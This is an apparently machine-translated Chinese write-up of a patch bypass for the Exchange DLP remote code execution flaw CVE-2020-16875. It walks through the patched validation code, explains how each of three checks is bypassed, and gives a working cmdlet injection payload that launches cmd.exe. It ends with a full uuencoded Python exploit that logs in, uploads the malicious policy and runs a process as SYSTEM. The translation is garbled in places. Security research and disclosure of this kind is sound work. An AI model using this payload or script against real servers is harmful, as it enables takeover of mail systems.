微软EXCHANGE远程代码执行漏洞 CVE-2020-16875

微软EXCHANGE远程代码执行漏洞 CVE-2020-16875

漏洞介绍

在2020年9月,针对CVE-2020-16875发布了一个补丁,影响微软Exchange 2016和2019。该漏洞通过提供的cmdlet启用RCE Exchange服务器的/ecp/DLPPolicy HTTPS端点。

最初的漏洞和研究由Steven Seeley报道
来源Incite (@steventseeley),可在这里找到:

https://srcincite.io/advisories/src-2020-0019/(咨询)
https://srcincite.io/pocs/cve-2020-16875.py.txt(PoC)

史蒂文也发现了这篇文章中描述的绕过
他也会在自己的博客上发表一篇文章来描述原著脆弱和潜在的更多。

发布了一个补丁,介绍cmdlet的过滤:

support.microsoft.com/security-update-for-exchange-server

作为自动补丁分析工作的一部分,X41的团队进行了分析补丁和能够绕过过滤器与修改的有效载荷。
这允许将cmdlet注入远程Exchange服务器。一个有效的用户需要具有管理DLP策略权限的帐户。

影响与未修补程序上出现的前一个漏洞相同
交换设备:

CVSS: 8.5
严重程度(根据MSRC):危急

补丁分析

防止CVE-2020-16875被利用的补丁代码
是这样的:

internal static void ValidateCmdletParameters(string cmdlet,
    IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
    if (string.IsNullOrWhiteSpace(cmdlet))
    {
        return;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet,
        out collection2);
    if (collection2 != null && collection2.Count > 0)
    {
        throw new DlpPolicyParsingException(
            Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
    if (collection != null)
    {
        // #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT
        // RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12")
        if ((from token in collection
        where token.Type == PSTokenType.Command 
        select token).ToList<PSToken>().Count > 1)
        {
            throw new DlpPolicyParsingException(
                Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
        }
    }
    bool flag = false;
    foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
    {
        // #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY
        if (cmdlet.StartsWith(keyValuePair.Key,
            StringComparison.InvariantCultureIgnoreCase))
        {
            // #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN
            // REGEX
            if (!Regex.IsMatch(cmdlet, keyValuePair.Value,
                RegexOptions.IgnoreCase))
            {
                throw new DlpPolicyParsingException(
                    Strings.DlpPolicyMissingRequiredParameter(cmdlet,
                        keyValuePair.Value));
            }
            flag = true;
        }
    }
    if (!flag)
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(
                                                                        cmdlet));
    }
}

cmdlet的验证有两个主要目标:

  1. 防止每个cmdlet都有多个Powershell命令令牌。
  2. 只允许带有特定参数的白名单命令。

采用三种检查方法过滤掉利用企图。

不幸的是,这些检查是不够的。

3.1)旁路检查1号

检查上面补丁中的#1是对cmdlet字符串进行解析和标记化

并检查是否有多个类型为pstokentybe . command的令牌

这拒绝了原来的有效载荷,依靠有多个命令,例如以下负载:

New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;
$i.FileName="cmd";$i.Arguments="/c %s";
$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start()

在' $()'语句中的命令令牌也被阻止了,所以
以下将不会工作:

new-transportrule -Name $(Diagnostics.Process.Start(....))

然而,通过方括号语法直接调用。net仍然是

可能,因为它们不被PSParser认为是“命令”令牌:

new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe", "/C ...."))

上面的命令包含一个“命令”令牌,因此会绕过它

检查# 1。

3.2)旁路止回阀2号

检查#2可以很容易地绕过,因为检查是在

原始cmdlet字符串,只使用函数’ .StartsWith() ‘

检查cmdlet的开始。要绕过这条路,我们只需要供给

包含在给定的有效密钥中的命令字符串

通过requiredParameters:

new-transportruleSOMETHINGELSE……

3.3)旁路止回阀3号

检查#3是否对cmdlet应用正则表达式

确保只提供有效的参数和值。不幸的是

正则表达式至少在两个方面存在不足:

  1. 默认情况下,Regex.IsMatch()不匹配多行。
  2. 所应用的正则表达式从开始不匹配

来结束cmdlet字符串,但也匹配子字符串。

要绕过检查,Powershell cmdlet只需要这样做

包含一个期望的参数,例如’ DlpPolicy ‘。

PoC

以下有效载荷可以绕过所有三个检查
上面提到的:

<![CDATA[ new-transportrule
   -Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>"))
   -DlpPolicy "%%DlpPolicyName%%"
]]>
微软EXCHANGE远程代码执行漏洞 CVE-2020-16875

解决方案建议

在12月星期二的补丁中,[1]已经发布了一个修复。强烈建议创建一个更严格的接口可以通过交换的DLP API访问。cmdlet的使用是否因为Powershell的复杂性而具有内在的危险性脚本语言。而是一个专用的功能界面只接受白名单个别参数是推荐的。

时间轴

2020-09-28 – 补丁分析通过X41的实验补丁分析流水线进行
2020-09-30 – 通过创建一个新的PoC确认补丁无效
2020-10-01 – 报告给MSRC
2020-12-08 – 一个新的修复程序在星期二的补丁中发布CVE-2020-17132
2020-12-09 – 由于只提供了on-prem的证据,赏金被拒绝

poc

begin 644 CVE-2020-16875-PATCH-BYPASS.py
M(R$O=7-R+V)I;B]E;G8@<'ET:&]N,PT*(B(B#0I4:&ES(%!O0R!I<R!A(&UO
M9&EF:65D('9E<G-I;VX@;V8@=&AE($]R:6=I;F%L(%!O0R!O9@T*<W)C:6YC
M:71E(&9O<B!#5D4M,C`R,"TQ-C@W-2!A=F%I;&%B;&4@870Z#0H-"FAT='!S
M.B\O<W)C:6YC:71E+FEO+W!O8W,O8W9E+3(P,C`M,38X-S4N<'DN='AT#0H-
M"FAT='!S.B\O=W=W+G@T,2UD<V5C+F1E(#(P,C`L($UA<FMU<R!697)V:65R
M+"!987-A<B!+;&%W;VAN#0H-"E1H:7,@4&]#(&)Y<&%S<V5S('1H92!P871C
M:"!F;W(@0U9%+3(P,C`M,38X-S4Z#0H-"DUI8W)O<V]F="!%>&-H86YG92!3
M97)V97(@1&QP571I;',@061D5&5N86YT1&QP4&]L:6-Y(%)E;6]T92!#;V1E
M($5X96-U=&EO;B!6=6QN97)A8FEL:71Y#0I0871C:#H@:'1T<',Z+R]P;W)T
M86PN;7-R8RYM:6-R;W-O9G0N8V]M+V5N+75S+W-E8W5R:71Y+6=U:61A;F-E
M+V%D=FES;W)Y+T-612TR,#(P+3$V.#<U#0H-"G)E<V5A<F-H97)`:6YC:71E
M.GXD("XO<&]C+G!Y#0HH*RD@=7-A9V4Z("XO<&]C+G!Y(#QT87)G970^(#QU
M<V5R.G!A<W,^#0HH*RD@96<Z("XO<&]C+G!Y(#$Y,BXQ-C@N-S4N,30R(&AA
M<G)Y;4!E>&-H86YG961E;6\N8V]M.G5S97(Q,C,C(R,@;7-P86EN=`T*#0IR
M97-E87)C:&5R0&EN8VET93I^)"`N+W!O8RYP>2`Q.3(N,38X+C<U+C$T,B!H
M87)R>6U`97AC:&%N9V5D96UO+F-O;3IU<V5R,3(S(R,C(&US<&%I;G0-"B@K
M*2!L;V=G960@:6X@87,@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VT-"B@K*2!F
M;W5N9"!T:&4@7U]V:65W<W1A=&4Z("]W15!$=U5)3%1G-4U$07I-1$9K6D9!
M97E04S<O94)*-&Q03E).4$)J;3A1:5=,5VYI<E$Q=G-';%-Y:E9X834-"B@K
M*2!E>&5C=71E9"!M<W!A:6YT(&%S(%-94U1%32$-"@T*0VAA;F=E<SH@82!N
M97<@9FEL=&5R('=A<R!I;G1R;V1U8V5D('1H870@<VAO=6QD(&5N<W5R92!T
M:&5R92!I<R!N;W0@;6]R90T*=&AA;B!O;F4@8V]M;6%N9"!I;B!T:&4@8VUD
M;&5T(&%N9"!T:&%T('1H92!C;VUM86YD(&ES(&9R;VT@82!L:7-T(&]F(&%L
M;&]W960@8V]M;6%N9',N#0I5;F9O<G1U;F%T96QY(&%L;"!T:&5S92!C:&5C
M:W,@8V%N(&)E(&)Y<&%S<V5D(&1U92!T;R!I;F-O<G)E8W0@87-S=6UP=&EO
M;G,-"F%B;W5T('1H92!C;61L970@<&%R<VEN9R!R97-U;'0@86YD('1H92!I
M;F-O<G)E8W0@=7-A9V4@;V8@<F5G=6QA<B!E>'!R97-S:6]N<PT*=&\@=F%L
M:61A=&4@=&AE('!A<F%M=&5R<RX-"@T*1F]R(&1E=&%I;',@<&QE87-E('-E
M92!T:&4@86YN;W1A=&5D('!A=&-H(&EN(&9I;&4@0U9%+3(P,C`M,38X-S4M
M<&%T8V@N8W,-"F%N9"!T:&4@=W)I=&5U<',@+R!C;VUM96YT<R!I;B!F:6QE
M($-612TR,#(P+3$V.#<U+7=R:71E=7`N='AT#0H-"B(B(@T*#0II;7!O<G0@
M<F4-"FEM<&]R="!S>7,-"FEM<&]R="!R86YD;VT-"FEM<&]R="!S=')I;F<-
M"FEM<&]R="!U<FQL:6(S#0II;7!O<G0@<F5Q=65S=',-"G5R;&QI8C,N9&ES
M86)L95]W87)N:6YG<RAU<FQL:6(S+F5X8V5P=&EO;G,N26YS96-U<F5297%U
M97-T5V%R;FEN9RD-"@T*9&5F(')A;F1O;5]S=')I;F<H<W1R7VQE;CTX*3H-
M"B`@("!L971T97)S(#T@<W1R:6YG+F%S8VEI7VQO=V5R8V%S90T*("`@(')E
M='5R;B`G)RYJ;VEN*')A;F1O;2YC:&]I8V4H;&5T=&5R<RD@9F]R(&D@:6X@
M<F%N9V4H<W1R7VQE;BDI#0H-"F1E9B!G971?>&UL*&,I.@T*("`@(')E='5R
M;B`B(B(\/WAM;"!V97)S:6]N/2(Q+C`B(&5N8V]D:6YG/2)55$8M."(_/@T*
M/&1L<%!O;&EC>51E;7!L871E<SX-"B`@/&1L<%!O;&EC>51E;7!L871E(&ED
M/2)&-T,R.4%%0RU!-3)$+30U,#(M.38W,"TQ-#$T,C1!.#-&04(B(&UO9&4]
M(D%U9&ET(B!S=&%T93TB16YA8FQE9"(@=F5R<VEO;CTB,34N,"XR+C`B/@T*
M("`@(#QC;VYT96YT5F5R<VEO;CXT/"]C;VYT96YT5F5R<VEO;CX-"B`@("`\
M<'5B;&ES:&5R3F%M93YS:3PO<'5B;&ES:&5R3F%M93X-"B`@("`\;F%M93X-
M"B`@("`@(#QL;V-A;&EZ9613=')I;F<@;&%N9STB96XB/CPO;&]C86QI>F5D
M4W1R:6YG/@T*("`@(#PO;F%M93X-"B`@("`\9&5S8W)I<'1I;VX^#0H@("`@
M("`\;&]C86QI>F5D4W1R:6YG(&QA;F<](F5N(CX\+VQO8V%L:7IE9%-T<FEN
M9SX-"B`@("`\+V1E<V-R:7!T:6]N/@T*("`@(#QK97EW;W)D<SX\+VME>7=O
M<F1S/@T*("`@(#QR=6QE4&%R86UE=&5R<SX\+W)U;&5087)A;65T97)S/@T*
M("`@(#QP;VQI8WE#;VUM86YD<SX-"B`@("`@(#QC;VUM86YD0FQO8VL^#0H@
M("`@("`@(#PA6T-$051!6R!N97<M=')A;G-P;W)T<G5L92`M3F%M920H6T1I
M86=N;W-T:6-S+E!R;V-E<W-=.CIS=&%R="@B8VUD+F5X92`O($,@;7-P86EN
M="YE>&4B*2D@+41L<%!O;&EC>2`B)25$;'!0;VQI8WE.86UE)24B(%U=/@T*
M("`@("`@/"]C;VUM86YD0FQO8VL^#0H@("`@/"]P;VQI8WE#;VUM86YD<SX-
M"B`@("`\<&]L:6-Y0V]M;6%N9'-297-O=7)C97,^/"]P;VQI8WE#;VUM86YD
M<U)E<V]U<F-E<SX-"B`@/"]D;'!0;VQI8WE496UP;&%T93X-"CPO9&QP4&]L
M:6-Y5&5M<&QA=&5S/B(B(@T*#0ID968@=')I9V=E<E]R8V4H="P@<RP@=G,I
M.@T*("`@(&8@/2![#0H@("`@("`@("=?7U9)15=35$%412<Z("A.;VYE+"!V
M<RDL#0H@("`@("`@("=C=&PP,"1297-U;'1086YE4&QA8V5(;VQD97(D<V5N
M9&5R0G1N)SH@*$YO;F4L(")297-U;'1086YE4&QA8V5(;VQD97)?0G5T=&]N
M<U!A;F5L7V)T;DYE>'0B*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50
M;&%C94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)&YA;64G.B`H3F]N92P@<F%N
M9&]M7W-T<FEN9R@I*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50;&%C
M94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)'5P;&1#=')L)SH@*")D;'!R8V4N
M>&UL(BP@9V5T7WAM;"@I*2P-"B`@("!]#0H@("`@<B`](',N<&]S="@B:'1T
M<',Z+R\E<R]E8W`O1$Q04&]L:6-Y+TUA;F%G95!O;&EC>49R;VU)4U8N87-P
M>"(@)2!T+"!F:6QE<SUF+"!V97)I9GD]1F%L<V4I#0H@("`@87-S97)T('(N
M<W1A='5S7V-O9&4@/3T@,C`P+"`B*"TI(&9A:6QE9"!T;R!T<FEG9V5R(')C
M92$B#0H-"F1E9B!L96%K7W9I97=S=&%T92AT+"!S*3H-"B`@("!R(#T@<RYG
M970H(FAT='!S.B\O)7,O96-P+T1,4%!O;&EC>2]-86YA9V50;VQI8WE&<F]M
M25-6+F%S<'@B("4@="P@=F5R:69Y/49A;'-E*0T*("`@(&UA=&-H(#T@<F4N
M<V5A<F-H*"(\:6YP=70@='EP93U<(FAI9&1E;EPB(&YA;64]7")?7U9)15=3
M5$%415PB(&ED/5PB7U]624574U1!5$5<(B!V86QU93U<(B@N*BE<(B`O/B(L
M('(N=&5X="D-"B`@("!A<W-E<G0@;6%T8V@@(3T@3F]N92P@(B@M*2!C;W5L
M9&XG="!L96%K('1H92!?7W9I97=S=&%T92$B#0H@("`@<F5T=7)N(&UA=&-H
M+F=R;W5P*#$I#0H@("`@#0ID968@;&]G7VEN*'0L('5S<BP@<'=D*3H-"B`@
M("!S(#T@<F5Q=65S=',N4V5S<VEO;B@I#0H@("`@9"`]('L-"B`@("`@("`@
M(F1E<W1I;F%T:6]N(B`Z(")H='1P<SHO+R5S+V]W82(@)2!T+`T*("`@("`@
M("`B9FQA9W,B(#H@(B(L#0H@("`@("`@(")U<V5R;F%M92(@.B!U<W(L#0H@
M("`@("`@(")P87-S=V]R9"(@.B!P=V0-"B`@("!]#0H@("`@<RYP;W-T*")H
M='1P<SHO+R5S+V]W82]A=71H+F]W82(@)2!T+"!D871A/60L('9E<FEF>3U&
M86QS92D-"B`@("!A<W-E<G0@<RYC;V]K:65S+F=E="AN86UE/2=8+4]702U#
M04Y!4EDG*2`A/2!.;VYE+"`B*"TI(&-O=6QD;B=T(&QE86L@=&AE(&-S<F8@
M8V%N87)Y(2(-"B`@("!R971U<FX@<PT*#0ID968@;6%I;BAT+"!U<W(L('!W
M9"DZ#0H@("`@<R`](&QO9U]I;BAT+"!U<W(L('!W9"D-"B`@("!P<FEN="@B
M*"LI(&QO9V=E9"!I;B!A<R`E<R(@)2!U<W(I#0H@("`@=G,@/2!L96%K7W9I
M97=S=&%T92AT+"!S*0T*("`@('!R:6YT*"(H*RD@9F]U;F0@=&AE(%]?=FEE
M=W-T871E.B`E<R(@)2!V<RD-"B`@("!T<FEG9V5R7W)C92AT+"!S+"!V<RD-
M"B`@("!P<FEN="@B*"LI(&5X96-U=&5D(&-A;&,N97AE(&%S($%D;6EN:7-T
M<F%T;W(@*'9I82!365-414TI(2(I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUA
M:6Y?7R<Z#0H@("`@:68@;&5N*'-Y<RYA<F=V*2`A/2`T.@T*("`@("`@("!P
M<FEN="@B*"LI('5S86=E.B`E<R`\=&%R9V5T/B`\=7-E<CIP87-S/B(@)2!S
M>7,N87)G=ELP72D-"B`@("`@("`@<')I;G0H(B@K*2!E9SH@)7,@,3DR+C$V
M."XW-2XQ-#(@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VTZ=7-E<C$R,R,C(R!M
M<W!A:6YT(B`E('-Y<RYA<F=V6S!=*0T*("`@("`@("!S>7,N97AI="@M,2D-
M"B`@("!T<F=T(#T@<WES+F%R9W9;,5T-"B`@("!A<W-E<G0@(CHB(&EN('-Y
M<RYA<F=V6S)=+"`B*"TI('EO=2!N965D(&$@=7-E<B!A;F0@<&%S<W=O<F0A
M(@T*("`@('5S<B`]('-Y<RYA<F=V6S)=+G-P;&ET*"(Z(BE;,%T-"B`@("!P
M=V0@/2!S>7,N87)G=ELR72YS<&QI="@B.B(I6S%=#0H@("`@;6%I;BAT<F=T
-+"!U<W(L('!W9"D-"@``

from